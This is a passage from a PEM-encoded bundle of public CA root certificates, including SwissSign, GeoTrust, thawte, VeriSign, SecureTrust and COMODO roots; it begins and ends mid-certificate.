ExtEaWdpdGFsIFNpZ25hdHVyZSBUcnVzdCBDby4xFzAVBgNVBAMTDkRTVCBSb290IENBIFgzMB4X DTAwMDkzMDIxMTIxOVoXDTIxMDkzMDE0MDExNVowPzEkMCIGA1UEChMbRGlnaXRhbCBTaWduYXR1 cmUgVHJ1c3QgQ28uMRcwFQYDVQQDEw5EU1QgUm9vdCBDQSBYMzCCASIwDQYJKoZIhvcNAQEBBQAD ggEPADCCAQoCggEBAN+v6ZdQCINXtMxiZfaQguzH0yxrMMpb7NnDfcdAwRgUi+DoM3ZJKuM/IUmT rE4Orz5Iy2Xu/NMhD2XSKtkyj4zl93ewEnu1lcCJo6m67XMuegwGMoOifooUMM0RoOEqOLl5CjH9 UL2AZd+3UWODyOKIYepLYYHsUmu5ouJLGiifSKOeDNoJjj4XLh7dIN9bxiqKqy69cK3FCxolkHRy xXtqqzTWMIn/5WgTe1QLyNau7Fqckh49ZLOMxt+/yUFw7BZy1SbsOFU5Q9D8/RhcQPGX69Wam40d utolucbY38EVAjqr2m7xPi71XAicPNaDaeQQmxkqtilX4+U9m5/wAl0CAwEAAaNCMEAwDwYDVR0T AQH/BAUwAwEB/zAOBgNVHQ8BAf8EBAMCAQYwHQYDVR0OBBYEFMSnsaR7LHH62+FLkHX/xBVghYkQ MA0GCSqGSIb3DQEBBQUAA4IBAQCjGiybFwBcqR7uKGY3Or+Dxz9LwwmglSBd49lZRNI+DT69ikug dB/OEIKcdBodfpga3csTS7MgROSR6cz8faXbauX+5v3gTt23ADq1cEmv8uXrAvHRAosZy5Q6XkjE GB5YGV8eAlrwDPGxrancWYaLbumR9YbK+rlmM6pZW87ipxZzR8srzJmwN0jP41ZL9c8PDHIyh8bw RLtTcm1D9SZImlJnt1ir/md2cXjbDaJWFBM5JDGFoqgCWjBH4d1QB7wCCZAA62RjYJsWvIjJEubS fZGL+T0yjWW06XyxV3bqxbYoOb8VZRzI9neWagqNdwvYkQsEjgfbKbYK7p2CNTUQ -----END CERTIFICATE----- SwissSign Gold CA - G2 ====================== -----BEGIN CERTIFICATE----- MIIFujCCA6KgAwIBAgIJALtAHEP1Xk+wMA0GCSqGSIb3DQEBBQUAMEUxCzAJBgNVBAYTAkNIMRUw EwYDVQQKEwxTd2lzc1NpZ24gQUcxHzAdBgNVBAMTFlN3aXNzU2lnbiBHb2xkIENBIC0gRzIwHhcN MDYxMDI1MDgzMDM1WhcNMzYxMDI1MDgzMDM1WjBFMQswCQYDVQQGEwJDSDEVMBMGA1UEChMMU3dp c3NTaWduIEFHMR8wHQYDVQQDExZTd2lzc1NpZ24gR29sZCBDQSAtIEcyMIICIjANBgkqhkiG9w0B AQEFAAOCAg8AMIICCgKCAgEAr+TufoskDhJuqVAtFkQ7kpJcyrhdhJJCEyq8ZVeCQD5XJM1QiyUq t2/876LQwB8CJEoTlo8jE+YoWACjR8cGp4QjK7u9lit/VcyLwVcfDmJlD909Vopz2q5+bbqBHH5C jCA12UNNhPqE21Is8w4ndwtrvxEvcnifLtg+5hg3Wipy+dpikJKVyh+c6bM8K8vzARO/Ws/BtQpg vd21mWRTuKCWs2/iJneRjOBiEAKfNA+k1ZIzUd6+jbqEemA8atufK+ze3gE/bk3lUIbLtK/tREDF ylqM2tIrfKjuvqblCqoOpd8FUrdVxyJdMmqXl2MT28nbeTZ7hTpKxVKJ+STnnXepgv9VHKVxaSvR AiTysybUa9oEVeXBCsdtMDeQKuSeFDNeFhdVxVu1yzSJkvGdJo+hB9TGsnhQ2wwMC3wLjEHXuend jIj3o02yMszYF9rNt85mndT9Xv+9lz4pded+p2JYryU0pUHHPbwNUMoDAw8IWh+Vc3hiv69yFGkO peUDDniOJihC8AcLYiAQZzlG+qkDzAQ4embvIIO1jEpWjpEA/I5cgt6IoMPiaG59je883WX0XaxR 7ySArqpWl2/5rX3aYT+YdzylkbYcjCbaZaIJbcHiVOO5ykxMgI93e2CaHt+28kgeDrpOVG2Y4OGi GqJ3UM/EY5LsRxmd6+ZrzsECAwEAAaOBrDCBqTAOBgNVHQ8BAf8EBAMCAQYwDwYDVR0TAQH/BAUw AwEB/zAdBgNVHQ4EFgQUWyV7lqRlUX64OfPAeGZe6Drn8O4wHwYDVR0jBBgwFoAUWyV7lqRlUX64 OfPAeGZe6Drn8O4wRgYDVR0gBD8wPTA7BglghXQBWQECAQEwLjAsBggrBgEFBQcCARYgaHR0cDov L3JlcG9zaXRvcnkuc3dpc3NzaWduLmNvbS8wDQYJKoZIhvcNAQEFBQADggIBACe645R88a7A3hfm 5djV9VSwg/S7zV4Fe0+fdWavPOhWfvxyeDgD2StiGwC5+OlgzczOUYrHUDFu4Up+GC9pWbY9ZIEr 44OE5iKHjn3g7gKZYbge9LgriBIWhMIxkziWMaa5O1M/wySTVltpkuzFwbs4AOPsF6m43Md8AYOf Mke6UiI0HTJ6CVanfCU2qT1L2sCCbwq7EsiHSycR+R4tx5M/nttfJmtS2S6K8RTGRI0Vqbe/vd6m Gu6uLftIdxf+u+yvGPUqUfA5hJeVbG4bwyvEdGB5JbAKJ9/fXtI5z0V9QkvfsywexcZdylU6oJxp mo/a77KwPJ+HbBIrZXAVUjEaJM9vMSNQH4xPjyPDdEFjHFWoFN0+4FFQz/EbMFYOkrCChdiDyyJk vC24JdVUorgG6q2SpCSgwYa1ShNqR88uC1aVVMvOmttqtKay20EIhid392qgQmwLOM7XdVAyksLf KzAiSNDVQTglXaTpXZ/GlHXQRf0wl0OPkKsKx4ZzYEppLd6leNcG2mqeSz53OiATIgHQv2ieY2Br NU0LbbqhPcCT4H8js1WtciVORvnSFu+wZMEBnunKoGqYDs/YYPIvSbjkQuE4NRb0yG5P94FW6Lqj viOvrv1vA+ACOzB2+httQc8Bsem4yWb02ybzOqR08kkkW8mw0FfB+j564ZfJ -----END CERTIFICATE----- SwissSign Silver CA - G2 ======================== -----BEGIN CERTIFICATE----- MIIFvTCCA6WgAwIBAgIITxvUL1S7L0swDQYJKoZIhvcNAQEFBQAwRzELMAkGA1UEBhMCQ0gxFTAT BgNVBAoTDFN3aXNzU2lnbiBBRzEhMB8GA1UEAxMYU3dpc3NTaWduIFNpbHZlciBDQSAtIEcyMB4X DTA2MTAyNTA4MzI0NloXDTM2MTAyNTA4MzI0NlowRzELMAkGA1UEBhMCQ0gxFTATBgNVBAoTDFN3 aXNzU2lnbiBBRzEhMB8GA1UEAxMYU3dpc3NTaWduIFNpbHZlciBDQSAtIEcyMIICIjANBgkqhkiG 9w0BAQEFAAOCAg8AMIICCgKCAgEAxPGHf9N4Mfc4yfjDmUO8x/e8N+dOcbpLj6VzHVxumK4DV644 N0MvFz0fyM5oEMF4rhkDKxD6LHmD9ui5aLlV8gREpzn5/ASLHvGiTSf5YXu6t+WiE7brYT7QbNHm +/pe7R20nqA1W6GSy/BJkv6FCgU+5tkL4k+73JU3/JHpMjUi0R86TieFnbAVlDLaYQ1HTWBCrpJH 6INaUFjpiou5XaHc3ZlKHzZnu0jkg7Y360g6rw9njxcH6ATK72oxh9TAtvmUcXtnZLi2kUpCe2Uu MGoM9ZDulebyzYLs2aFK7PayS+VFheZteJMELpyCbTapxDFkH4aDCyr0NQp4yVXPQbBH6TCfmb5h qAaEuSh6XzjZG6k4sIN/c8HDO0gqgg8hm7jMqDXDhBuDsz6+pJVpATqJAHgE2cn0mRmrVn5bi4Y5 FZGkECwJMoBgs5PAKrYYC51+jUnyEEp/+dVGLxmSo5mnJqy7jDzmDrxHB9xzUfFwZC8I+bRHHTBs ROopN4WSaGa8gzj+ezku01DwH/teYLappvonQfGbGHLy9YR0SslnxFSuSGTfjNFusB3hB48IHpmc celM2KX3RxIfdNFRnobzwqIjQAtz20um53MGjMGg6cFZrEb65i/4z3GcRm25xBWNOHkDRUjvxF3X CO6HOSKGsg0PWEP3calILv3q1h8CAwEAAaOBrDCBqTAOBgNVHQ8BAf8EBAMCAQYwDwYDVR0TAQH/ BAUwAwEB/zAdBgNVHQ4EFgQUF6DNweRBtjpbO8tFnb0cwpj6hlgwHwYDVR0jBBgwFoAUF6DNweRB tjpbO8tFnb0cwpj6hlgwRgYDVR0gBD8wPTA7BglghXQBWQEDAQEwLjAsBggrBgEFBQcCARYgaHR0 cDovL3JlcG9zaXRvcnkuc3dpc3NzaWduLmNvbS8wDQYJKoZIhvcNAQEFBQADggIBAHPGgeAn0i0P 4JUw4ppBf1AsX19iYamGamkYDHRJ1l2E6kFSGG9YrVBWIGrGvShpWJHckRE1qTodvBqlYJ7YH39F kWnZfrt4csEGDyrOj4VwYaygzQu4OSlWhDJOhrs9xCrZ1x9y7v5RoSJBsXECYxqCsGKrXlcSH9/L 3XWgwF15kIwb4FDm3jH+mHtwX6WQ2K34ArZv02DdQEsixT2tOnqfGhpHkXkzuoLcMmkDlm4fS/Bx /uNncqCxv1yL5PqZIseEuRuNI5c/7SXgz2W79WEE790eslpBIlqhn10s6FvJbakMDHiqYMZWjwFa DGi8aRl5xB9+lwW/xekkUV7U1UtT7dkjWjYDZaPBA61BMPNGG4WQr2W11bHkFlt4dR2Xem1ZqSqP e97Dh4kQmUlzeMg9vVE1dCrV8X5pGyq7O70luJpaPXJhkGaH7gzWTdQRdAtq/gsD/KNVV4n+Ssuu WxcFyPKNIzFTONItaj+CuY0IavdeQXRuwxF+B6wpYJE/OMpXEA29MC/HpeZBoNquBYeaoKRlbEwJ DIm6uNO5wJOKMPqN5ZprFQFOZ6raYlY+hAhm0sQ2fac+EPyI4NSA5QC9qvNOBqN6avlicuMJT+ub DgEj8Z+7fNzcbBGXJbLytGMU0gYqZ4yD9c7qB9iaah7s5Aq7KkzrCWA5zspi2C5u -----END CERTIFICATE----- GeoTrust Primary Certification Authority ======================================== -----BEGIN CERTIFICATE----- MIIDfDCCAmSgAwIBAgIQGKy1av1pthU6Y2yv2vrEoTANBgkqhkiG9w0BAQUFADBYMQswCQYDVQQG EwJVUzEWMBQGA1UEChMNR2VvVHJ1c3QgSW5jLjExMC8GA1UEAxMoR2VvVHJ1c3QgUHJpbWFyeSBD ZXJ0aWZpY2F0aW9uIEF1dGhvcml0eTAeFw0wNjExMjcwMDAwMDBaFw0zNjA3MTYyMzU5NTlaMFgx CzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1HZW9UcnVzdCBJbmMuMTEwLwYDVQQDEyhHZW9UcnVzdCBQ cmltYXJ5IENlcnRpZmljYXRpb24gQXV0aG9yaXR5MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB CgKCAQEAvrgVe//UfH1nrYNke8hCUy3f9oQIIGHWAVlqnEQRr+92/ZV+zmEwu3qDXwK9AWbK7hWN b6EwnL2hhZ6UOvNWiAAxz9juapYC2e0DjPt1befquFUWBRaa9OBesYjAZIVcFU2Ix7e64HXprQU9 nceJSOC7KMgD4TCTZF5SwFlwIjVXiIrxlQqD17wxcwE07e9GceBrAqg1cmuXm2bgyxx5X9gaBGge RwLmnWDiNpcB3841kt++Z8dtd1k7j53WkBWUvEI0EME5+bEnPn7WinXFsq+W06Lem+SYvn3h6YGt tm/81w7a4DSwDRp35+MImO9Y+pyEtzavwt+s0vQQBnBxNQIDAQABo0IwQDAPBgNVHRMBAf8EBTAD AQH/MA4GA1UdDwEB/wQEAwIBBjAdBgNVHQ4EFgQULNVQQZcVi/CPNmFbSvtr2ZnJM5IwDQYJKoZI hvcNAQEFBQADggEBAFpwfyzdtzRP9YZRqSa+S7iq8XEN3GHHoOo0Hnp3DwQ16CePbJC/kRYkRj5K Ts4rFtULUh38H2eiAkUxT87z+gOneZ1TatnaYzr4gNfTmeGl4b7UVXGYNTq+k+qurUKykG/g/CFN NWMziUnWm07Kx+dOCQD32sfvmWKZd7aVIl6KoKv0uHiYyjgZmclynnjNS6yvGaBzEi38wkG6gZHa Floxt/m0cYASSJlyc1pZU8FjUjPtp8nSOQJw+uCxQmYpqptR7TBUIhRf2asdweSU8Pj1K/fqynhG 1riR/aYNKxoUAT6A8EKglQdebc3MS6RFjasS6LPeWuWgfOgPIh1a6Vk= -----END CERTIFICATE----- thawte Primary Root CA ====================== -----BEGIN CERTIFICATE----- MIIEIDCCAwigAwIBAgIQNE7VVyDV7exJ9C/ON9srbTANBgkqhkiG9w0BAQUFADCBqTELMAkGA1UE BhMCVVMxFTATBgNVBAoTDHRoYXd0ZSwgSW5jLjEoMCYGA1UECxMfQ2VydGlmaWNhdGlvbiBTZXJ2 aWNlcyBEaXZpc2lvbjE4MDYGA1UECxMvKGMpIDIwMDYgdGhhd3RlLCBJbmMuIC0gRm9yIGF1dGhv cml6ZWQgdXNlIG9ubHkxHzAdBgNVBAMTFnRoYXd0ZSBQcmltYXJ5IFJvb3QgQ0EwHhcNMDYxMTE3 MDAwMDAwWhcNMzYwNzE2MjM1OTU5WjCBqTELMAkGA1UEBhMCVVMxFTATBgNVBAoTDHRoYXd0ZSwg SW5jLjEoMCYGA1UECxMfQ2VydGlmaWNhdGlvbiBTZXJ2aWNlcyBEaXZpc2lvbjE4MDYGA1UECxMv KGMpIDIwMDYgdGhhd3RlLCBJbmMuIC0gRm9yIGF1dGhvcml6ZWQgdXNlIG9ubHkxHzAdBgNVBAMT FnRoYXd0ZSBQcmltYXJ5IFJvb3QgQ0EwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQCs oPD7gFnUnMekz52hWXMJEEUMDSxuaPFsW0hoSVk3/AszGcJ3f8wQLZU0HObrTQmnHNK4yZc2AreJ 1CRfBsDMRJSUjQJib+ta3RGNKJpchJAQeg29dGYvajig4tVUROsdB58Hum/u6f1OCyn1PoSgAfGc q/gcfomk6KHYcWUNo1F77rzSImANuVud37r8UVsLr5iy6S7pBOhih94ryNdOwUxkHt3Ph1i6Sk/K aAcdHJ1KxtUvkcx8cXIcxcBn6zL9yZJclNqFwJu/U30rCfSMnZEfl2pSy94JNqR32HuHUETVPm4p afs5SSYeCaWAe0At6+gnhcn+Yf1+5nyXHdWdAgMBAAGjQjBAMA8GA1UdEwEB/wQFMAMBAf8wDgYD VR0PAQH/BAQDAgEGMB0GA1UdDgQWBBR7W0XPr87Lev0xkhpqtvNG61dIUDANBgkqhkiG9w0BAQUF AAOCAQEAeRHAS7ORtvzw6WfUDW5FvlXok9LOAz/t2iWwHVfLHjp2oEzsUHboZHIMpKnxuIvW1oeE uzLlQRHAd9mzYJ3rG9XRbkREqaYB7FViHXe4XI5ISXycO1cRrK1zN44veFyQaEfZYGDm/Ac9IiAX xPcW6cTYcvnIc3zfFi8VqT79aie2oetaupgf1eNNZAqdE8hhuvU5HIe6uL17In/2/qxAeeWsEG89 jxt5dovEN7MhGITlNgDrYyCZuen+MwS7QcjBAvlEYyCegc5C09Y/LHbTY5xZ3Y+m4Q6gLkH3LpVH z7z9M/P2C2F+fpErgUfCJzDupxBdN49cOSvkBPB7jVaMaA== -----END CERTIFICATE----- VeriSign Class 3 Public Primary Certification Authority - G5 ============================================================ -----BEGIN CERTIFICATE----- MIIE0zCCA7ugAwIBAgIQGNrRniZ96LtKIVjNzGs7SjANBgkqhkiG9w0BAQUFADCByjELMAkGA1UE BhMCVVMxFzAVBgNVBAoTDlZlcmlTaWduLCBJbmMuMR8wHQYDVQQLExZWZXJpU2lnbiBUcnVzdCBO ZXR3b3JrMTowOAYDVQQLEzEoYykgMjAwNiBWZXJpU2lnbiwgSW5jLiAtIEZvciBhdXRob3JpemVk IHVzZSBvbmx5MUUwQwYDVQQDEzxWZXJpU2lnbiBDbGFzcyAzIFB1YmxpYyBQcmltYXJ5IENlcnRp ZmljYXRpb24gQXV0aG9yaXR5IC0gRzUwHhcNMDYxMTA4MDAwMDAwWhcNMzYwNzE2MjM1OTU5WjCB yjELMAkGA1UEBhMCVVMxFzAVBgNVBAoTDlZlcmlTaWduLCBJbmMuMR8wHQYDVQQLExZWZXJpU2ln biBUcnVzdCBOZXR3b3JrMTowOAYDVQQLEzEoYykgMjAwNiBWZXJpU2lnbiwgSW5jLiAtIEZvciBh dXRob3JpemVkIHVzZSBvbmx5MUUwQwYDVQQDEzxWZXJpU2lnbiBDbGFzcyAzIFB1YmxpYyBQcmlt YXJ5IENlcnRpZmljYXRpb24gQXV0aG9yaXR5IC0gRzUwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAw ggEKAoIBAQCvJAgIKXo1nmAMqudLO07cfLw8RRy7K+D+KQL5VwijZIUVJ/XxrcgxiV0i6CqqpkKz j/i5Vbext0uz/o9+B1fs70PbZmIVYc9gDaTY3vjgw2IIPVQT60nKWVSFJuUrjxuf6/WhkcIzSdhD Y2pSS9KP6HBRTdGJaXvHcPaz3BJ023tdS1bTlr8Vd6Gw9KIl8q8ckmcY5fQGBO+QueQA5N06tRn/ Arr0PO7gi+s3i+z016zy9vA9r911kTMZHRxAy3QkGSGT2RT+rCpSx4/VBEnkjWNHiDxpg8v+R70r fk/Fla4OndTRQ8Bnc+MUCH7lP59zuDMKz10/NIeWiu5T6CUVAgMBAAGjgbIwga8wDwYDVR0TAQH/ BAUwAwEB/zAOBgNVHQ8BAf8EBAMCAQYwbQYIKwYBBQUHAQwEYTBfoV2gWzBZMFcwVRYJaW1hZ2Uv Z2lmMCEwHzAHBgUrDgMCGgQUj+XTGoasjY5rw8+AatRIGCx7GS4wJRYjaHR0cDovL2xvZ28udmVy aXNpZ24uY29tL3ZzbG9nby5naWYwHQYDVR0OBBYEFH/TZafC3ey78DAJ80M5+gKvMzEzMA0GCSqG SIb3DQEBBQUAA4IBAQCTJEowX2LP2BqYLz3q3JktvXf2pXkiOOzEp6B4Eq1iDkVwZMXnl2YtmAl+ X6/WzChl8gGqCBpH3vn5fJJaCGkgDdk+bW48DW7Y5gaRQBi5+MHt39tBquCWIMnNZBU4gcmU7qKE KQsTb47bDN0lAtukixlE0kF6BWlKWE9gyn6CagsCqiUXObXbf+eEZSqVir2G3l6BFoMtEMze/aiC Km0oHw0LxOXnGiYZ4fQRbxC1lfznQgUy286dUV4otp6F01vvpX1FQHKOtw5rDgb7MzVIcbidJ4vE ZV8NhnacRHr2lVz2XTIIM6RUthg/aFzyQkqFOFSDX9HoLPKsEdao7WNq -----END CERTIFICATE----- SecureTrust CA ============== -----BEGIN CERTIFICATE----- MIIDuDCCAqCgAwIBAgIQDPCOXAgWpa1Cf/DrJxhZ0DANBgkqhkiG9w0BAQUFADBIMQswCQYDVQQG EwJVUzEgMB4GA1UEChMXU2VjdXJlVHJ1c3QgQ29ycG9yYXRpb24xFzAVBgNVBAMTDlNlY3VyZVRy dXN0IENBMB4XDTA2MTEwNzE5MzExOFoXDTI5MTIzMTE5NDA1NVowSDELMAkGA1UEBhMCVVMxIDAe BgNVBAoTF1NlY3VyZVRydXN0IENvcnBvcmF0aW9uMRcwFQYDVQQDEw5TZWN1cmVUcnVzdCBDQTCC ASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBAKukgeWVzfX2FI7CT8rU4niVWJxB4Q2ZQCQX OZEzZum+4YOvYlyJ0fwkW2Gz4BERQRwdbvC4u/jep4G6pkjGnx29vo6pQT64lO0pGtSO0gMdA+9t DWccV9cGrcrI9f4Or2YlSASWC12juhbDCE/RRvgUXPLIXgGZbf2IzIaowW8xQmxSPmjL8xk037uH GFaAJsTQ3MBv396gwpEWoGQRS0S8Hvbn+mPeZqx2pHGj7DaUaHp3pLHnDi+BeuK1cobvomuL8A/b 01k/unK8RCSc43Oz969XL0Imnal0ugBS8kvNU3xHCzaFDmapCJcWNFfBZveA4+1wVMeT4C4oFVmH ursCAwEAAaOBnTCBmjATBgkrBgEEAYI3FAIEBh4EAEMAQTALBgNVHQ8EBAMCAYYwDwYDVR0TAQH/ BAUwAwEB/zAdBgNVHQ4EFgQUQjK2FvoE/f5dS3rD/fdMQB1aQ68wNAYDVR0fBC0wKzApoCegJYYj aHR0cDovL2NybC5zZWN1cmV0cnVzdC5jb20vU1RDQS5jcmwwEAYJKwYBBAGCNxUBBAMCAQAwDQYJ KoZIhvcNAQEFBQADggEBADDtT0rhWDpSclu1pqNlGKa7UTt36Z3q059c4EVlew3KW+JwULKUBRSu SceNQQcSc5R+DCMh/bwQf2AQWnL1mA6s7Ll/3XpvXdMc9P+IBWlCqQVxyLesJugutIxq/3HcuLHf mbx8IVQr5Fiiu1cprp6poxkmD5kuCLDv/WnPmRoJjeOnnyvJNjR7JLN4TJUXpAYmHrZkUjZfYGfZ nMUFdAvnZyPSCPyI6a6Lf+Ew9Dd+/cYy2i2eRDAwbO4H3tI0/NL/QPZL9GZGBlSm8jIKYyYwa5vR 3ItHuuG51WLQoqD0ZwV4KWMabwTW+MZMo5qxN7SN5ShLHZ4swrhovO0C7jE= -----END CERTIFICATE----- Secure Global CA ================ -----BEGIN CERTIFICATE----- MIIDvDCCAqSgAwIBAgIQB1YipOjUiolN9BPI8PjqpTANBgkqhkiG9w0BAQUFADBKMQswCQYDVQQG EwJVUzEgMB4GA1UEChMXU2VjdXJlVHJ1c3QgQ29ycG9yYXRpb24xGTAXBgNVBAMTEFNlY3VyZSBH bG9iYWwgQ0EwHhcNMDYxMTA3MTk0MjI4WhcNMjkxMjMxMTk1MjA2WjBKMQswCQYDVQQGEwJVUzEg MB4GA1UEChMXU2VjdXJlVHJ1c3QgQ29ycG9yYXRpb24xGTAXBgNVBAMTEFNlY3VyZSBHbG9iYWwg Q0EwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQCvNS7YrGxVaQZx5RNoJLNP2MwhR/jx YDiJiQPpvepeRlMJ3Fz1Wuj3RSoC6zFh1ykzTM7HfAo3fg+6MpjhHZevj8fcyTiW89sa/FHtaMbQ bqR8JNGuQsiWUGMu4P51/pinX0kuleM5M2SOHqRfkNJnPLLZ/kG5VacJjnIFHovdRIWCQtBJwB1g 8NEXLJXr9qXBkqPFwqcIYA1gBBCWeZ4WNOaptvolRTnIHmX5k/Wq8VLcmZg9pYYaDDUz+kulBAYV HDGA76oYa8J719rO+TMg1fW9ajMtgQT7sFzUnKPiXB3jqUJ1XnvUd+85VLrJChgbEplJL4hL/VBi 0XPnj3pDAgMBAAGjgZ0wgZowEwYJKwYBBAGCNxQCBAYeBABDAEEwCwYDVR0PBAQDAgGGMA8GA1Ud EwEB/wQFMAMBAf8wHQYDVR0OBBYEFK9EBMJBfkiD2045AuzshHrmzsmkMDQGA1UdHwQtMCswKaAn oCWGI2h0dHA6Ly9jcmwuc2VjdXJldHJ1c3QuY29tL1NHQ0EuY3JsMBAGCSsGAQQBgjcVAQQDAgEA MA0GCSqGSIb3DQEBBQUAA4IBAQBjGghAfaReUw132HquHw0LURYD7xh8yOOvaliTFGCRsoTciE6+ OYo68+aCiV0BN7OrJKQVDpI1WkpEXk5X+nXOH0jOZvQ8QCaSmGwb7iRGDBezUqXbpZGRzzfTb+cn CDpOGR86p1hcF895P4vkp9MmI50mD1hp/Ed+stCNi5O/KU9DaXR2Z0vPB4zmAve14bRDtUstFJ/5 3CYNv6ZHdAbYiNE6KTCEztI5gGIbqMdXSbxqVVFnFUq+NQfk1XWYN3kwFNspnWzFacxHVaIw98xc f8LDmBxrThaA63p4ZUWiABqvDA1VZDRIuJK58bRQKfJPIx/abKwfROHdI3hRW8cW -----END CERTIFICATE----- COMODO Certification Authority ============================== -----BEGIN CERTIFICATE----- MIIEHTCCAwWgAwIBAgIQToEtioJl4AsC7j41AkblPTANBgkqhkiG9w0BAQUFADCBgTELMAkGA1UE BhMCR0IxGzAZBgNVBAgTEkdyZWF0ZXIgTWFuY2hlc3RlcjEQMA4GA1UEBxMHU2FsZm9yZDEaMBgG A1UEChMRQ09NT0RPIENBIExpbWl0ZWQxJzAlBgNVBAMTHkNPTU9ETyBDZXJ0aWZpY2F0aW9uIEF1 dGhvcml0eTAeFw0wNjEyMDEwMDAwMDBaFw0yOTEyMzEyMzU5NTlaMIGBMQswCQYDVQQGEwJHQjEb MBkGA1UECBMSR3JlYXRlciBNYW5jaGVzdGVyMRAwDgYDVQQHEwdTYWxmb3JkMRowGAYDVQQKExFD T01PRE8gQ0EgTGltaXRlZDEnMCUGA1UEAxMeQ09NT0RPIENlcnRpZmljYXRpb24gQXV0aG9yaXR5 MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA0ECLi3LjkRv3UcEbVASY06m/weaKXTuH +7uIzg3jLz8GlvCiKVCZrts7oVewdFFxze1CkU1B/qnI2GqGd0S7WWaXUF601CxwRM/aN5VCaTww xHGzUvAhTaHYujl8HJ6jJJ3ygxaYqhZ8Q5sVW7euNJH+1GImGEaaP+vB+fGQV+useg2L23IwambV 4EajcNxo2f8ESIl33rXp+2dtQem8Ob0y2WIC8bGoPW43nOIv4tOiJovGuFVDiOEjPqXSJDlqR6sA 1KGzqSX+DT+nHbrTUcELpNqsOO9VUCQFZUaTNE8tja3G1CEZ0o7KBWFxB3NH5YoZEr0ETc5OnKVI rLsm9wIDAQABo4GOMIGLMB0GA1UdDgQWBBQLWOWLxkwVN6RAqTCpIb5HNlpW/zAOBgNVHQ8BAf8E BAMCAQYwDwYDVR0TAQH/BAUwAwEB/zBJBgNVHR8EQjBAMD6gPKA6hjhodHRwOi8vY3JsLmNvbW9k b2NhLmNvbS9DT01PRE9DZXJ0aWZpY2F0aW9uQXV0aG9yaXR5LmNybDANBgkqhkiG9w0BAQUFAAOC AQEAPpiem/Yb6dc5t3iuHXIYSdOH5EOC6z/JqvWote9VfCFSZfnVDeFs9D6Mk3ORLgLETgdxb8CP OGEIqB6BCsAvIC9Bi5HcSEW88cbeunZrM8gALTFGTO3nnc+IlP8zwFboJIYmuNg4ON8qa90SzMc/ RxdMosIGlgnW2/4/PEZB31jiVg88O8EckzXZOFKs7sjsLjBOlDW0JB9LeGna8gI4zJVSk/BwJVmc IGfE7vmLV2H0knZ9P4SNVbfo5azV8fUZVqZa+5Acr5Pr5RzUZ5ddBA6+C4OmF4O5MBKgxTMVBbkN +8cFduPYSo38NBejxiEovjBFMR7HeL5YYTisO+IBZQ== -----END CERTIFICATE----- Network Solutions Certificate Authority ======================================= -----BEGIN CERTIFICATE----- MIID5jCCAs6gAwIBAgIQV8szb8JcFuZHFhfjkDFo4DANBgkqhkiG9w0BAQUFADBiMQswCQYDVQQG EwJVUzEhMB8GA1UEChMYTmV0d29yayBTb2x1dGlvbnMgTC5MLkMuMTAwLgYDVQQDEydOZXR3b3Jr IFNvbHV0aW9ucyBDZXJ0aWZpY2F0ZSBBdXRob3JpdHkwHhcNMDYxMjAxMDAwMDAwWhcNMjkxMjMx MjM1OTU5WjBiMQswCQYDVQQGEwJVUzEhMB8GA1UEChMYTmV0d29yayBTb2x1dGlvbnMgTC5MLkMu MTAwLgYDVQQDEydOZXR3b3JrIFNvbHV0aW9ucyBDZXJ0aWZpY2F0ZSBBdXRob3JpdHkwggEiMA0G CSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQDkvH6SMG3G2I4rC7xGzuAnlt7e+foS0zwzc7MEL7xx jOWftiJgPl9dzgn/ggwbmlFQGiaJ3dVhXRncEg8tCqJDXRfQNJIg6nPPOCwGJgl6cvf6UDL4wpPT aaIjzkGxzOTVHzbRijr4jGPiFFlp7Q3Tf2vouAPlT2rlmGNpSAW+Lv8ztumXWWn4Zxmuk2GWRBXT crA/vGp97Eh/jcOrqnErU2lBUzS1sLnFBgrEsEX1QV1uiUV7PTsmjHTC5dLRfbIR1PtYMiKagMnc /Qzpf14Dl847ABSHJ3A4qY5usyd2mFHgBeMhqxrVhSI8KbWaFsWAqPS7azCPL0YCorEMIuDTAgMB AAGjgZcwgZQwHQYDVR0OBBYEFCEwyfsA106Y2oeqKtCnLrFAMadMMA4GA1UdDwEB/wQEAwIBBjAP BgNVHRMBAf8EBTADAQH/MFIGA1UdHwRLMEkwR6BFoEOGQWh0dHA6Ly9jcmwubmV0c29sc3NsLmNv bS9OZXR3b3JrU29sdXRpb25zQ2VydGlmaWNhdGVBdXRob3JpdHkuY3JsMA0GCSqGSIb3DQEBBQUA A4IBAQC7rkvnt1frf6ott3NHhWrB5KUd5Oc86fRZZXe1eltajSU24HqXLjjAV2CDmAaDn7l2em5Q 4LqILPxFzBiwmZVRDuwduIj/h1AcgsLj4DKAv6ALR8jDMe+ZZzKATxcheQxpXN5eNK4CtSbqUN9/ GGUsyfJj4akH/nxxH2szJGoeBfcFaMBqEssuXmHLrijTfsK0ZpEmXzwuJF/LWA/rKOyvEZbz3Htv wKeI8lN3s2Berq4o2jUsbzRF0ybh3uxbTydrFny9RAQYgrOJeRcQcT16ohZO9QHNpGxlaKFJdlxD ydi8NmdspZS11My5vWo1ViHe2MPr+8ukYEywVaCge1ey -----END CERTIFICATE----- COMODO ECC Certification Authority ================================== -----BEGIN CERTIFICATE----- MIICiTCCAg+gAwIBAgIQH0evqmIAcFBUTAGem2OZKjAKBggqhkjOPQQDAzCBhTELMAkGA1UEBhMC R0IxGzAZBgNVBAgTEkdyZWF0ZXIgTWFuY2hlc3RlcjEQMA4GA1UEBxMHU2FsZm9yZDEaMBgGA1UE ChMRQ09NT0RPIENBIExpbWl0ZWQxKzApBgNVBAMTIkNPTU9ETyBFQ0MgQ2VydGlmaWNhdGlvbiBB dXRob3JpdHkwHhcNMDgwMzA2MDAwMDAwWhcNMzgwMTE4MjM1OTU5WjCBhTELMAkGA1UEBhMCR0Ix GzAZBgNVBAgTEkdyZWF0ZXIgTWFuY2hlc3RlcjEQMA4GA1UEBxMHU2FsZm9yZDEaMBgGA1UEChMR Q09NT0RPIENBIExpbWl0ZWQxKzApBgNVBAMTIkNPTU9ETyBFQ0MgQ2VydGlmaWNhdGlvbiBBdXRo 